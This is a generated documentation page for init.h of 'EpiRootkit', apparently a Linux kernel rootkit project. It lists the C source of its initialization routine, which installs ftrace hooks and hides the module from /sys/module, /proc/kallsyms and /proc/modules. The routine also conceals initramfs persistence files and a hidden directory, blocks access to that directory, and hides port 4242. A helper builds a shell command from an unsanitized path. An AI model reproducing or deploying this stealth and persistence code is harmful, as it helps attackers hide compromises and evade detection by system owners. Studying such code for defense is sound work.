EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
init.h File Reference
#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/namei.h>
#include <linux/string.h>
Include dependency graph for init.h:
This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Functions

int init_interceptor (void)
 
void exit_interceptor (void)
 
int create_dir (char *path)
 

Function Documentation

◆ create_dir()

int create_dir ( char *  path)

Definition at line 107 of file init.c.

107 {
108 char cmd[128];
109 int rc;
110
111 snprintf(cmd, sizeof(cmd), "mkdir -p -- %s", path);
112 rc = exec_str_as_command_no_timeout(cmd, false);
113 if (rc < 0)
114 return rc;
115
116 return SUCCESS;
117}
#define SUCCESS
Definition config.h:5
#define exec_str_as_command_no_timeout(user_cmd, catch_stds)
Definition epirootkit.h:38

◆ exit_interceptor()

void exit_interceptor ( void  )

Definition at line 99 of file init.c.

99 {
101
102 hide_exit();
103 forbid_exit();
104 hide_exit();
105}
struct ftrace_hook hooks[]
Definition array.c:6
size_t hook_array_size
Definition array.c:22
void forbid_exit(void)
Definition forbid_api.c:19
void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
Remove multiple ftrace hooks.
Definition ftrace.c:136
void hide_exit(void)
Definition hide_api.c:20

◆ init_interceptor()

int init_interceptor ( void  )

Definition at line 14 of file init.c.

14 {
15 int err;
16
18 if (err) {
19 ERR_MSG("init: mkdir %s failed: %d\n", HIDDEN_DIR_PATH, err);
20 return err;
21 }
22
23 err = alterate_init();
24 if (err) {
25 ERR_MSG("init: alterate_init() failed: %d\n", err);
26 return err;
27 }
28
29 err = forbid_init();
30 if (err) {
31 ERR_MSG("init: forbid_init() failed: %d\n", err);
32 return err;
33 }
34
35 err = hide_init();
36 if (err) {
37 ERR_MSG("init: hide_init() failed: %d\n", err);
38 return err;
39 }
40
41 err = hide_port_init();
42 if (err) {
43 ERR_MSG("init: hide_port_init() failed: %d\n", err);
44 return err;
45 }
46
48 if (err) {
49 ERR_MSG("init: failed to install hooks\n");
50 return err;
51 }
52
53 // Hide directory HIDDEN_DIR_PATH
59
60 // Forbid access to HIDDEN_DIR_PATH
66
67 // Hide module in /sys/modules
68 hide_file("/sys/module/epirootkit");
69
70 // Hide module in /proc/kallsyms
71 alterate_add("/proc/kallsyms", -1, "epirootkit", NULL, NULL);
72
73 // General hiding for epirootkit module file in base64
74 hide_file("/usr/lib/epirootkit/cH0c01AtcG9ydC1rZXlzLmNv");
75 hide_file("/usr/lib/epirootkit");
76
77 // Hide grub peristence stuff
78 // hide_file("/.grub.sh");
79 // hide_file("/etc/default/grub.d/99.cfg");
80 // forbid_file("/.grub.sh");
81 // forbid_file("/etc/default/grub.d/99.cfg");
82
83 // Hide initramfs persistence stuff
84 hide_file("/etc/initramfs-tools/hooks/epirootkit");
85 hide_file("/etc/initramfs-tools/scripts/init-premount/epirootkit-load");
86 hide_file("/tmp/insmod.err");
87
88 // Hide ports
89 hide_port("4242");
90
91// Hide module in /proc/modules
92#if !(defined(DEBUG) && DEBUG)
94#endif
95
96 return SUCCESS;
97}
int alterate_init(void)
Definition alterate_api.c:8
int alterate_add(const char *path, int hide_line, const char *hide_substr, const char *src, const char *dst)
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define HIDDEN_DIR_PATH
Definition config.h:56
int hide_module(void)
Definition ghost.c:7
int forbid_file(const char *path)
Definition forbid_api.c:24
int forbid_init(void)
Definition forbid_api.c:8
int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
Install multiple ftrace hooks.
Definition ftrace.c:116
int hide_file(const char *path)
Definition hide_api.c:25
int hide_port(const char *port)
Definition hide_api.c:90
int hide_port_init(void)
Definition hide_api.c:74
int hide_init(void)
Definition hide_api.c:9
int create_dir(char *path)
Definition init.c:107
#define FORBID_CFG_FILE_FULL_PATH
Definition init.c:10
#define ALTERATE_CFG_FILE_FULL_PATH
Definition init.c:11
#define HIDE_CFG_FILE_FULL_PATH
Definition init.c:9
#define HIDE_PORT_CFG_FILE_FULL_PATH
Definition init.c:12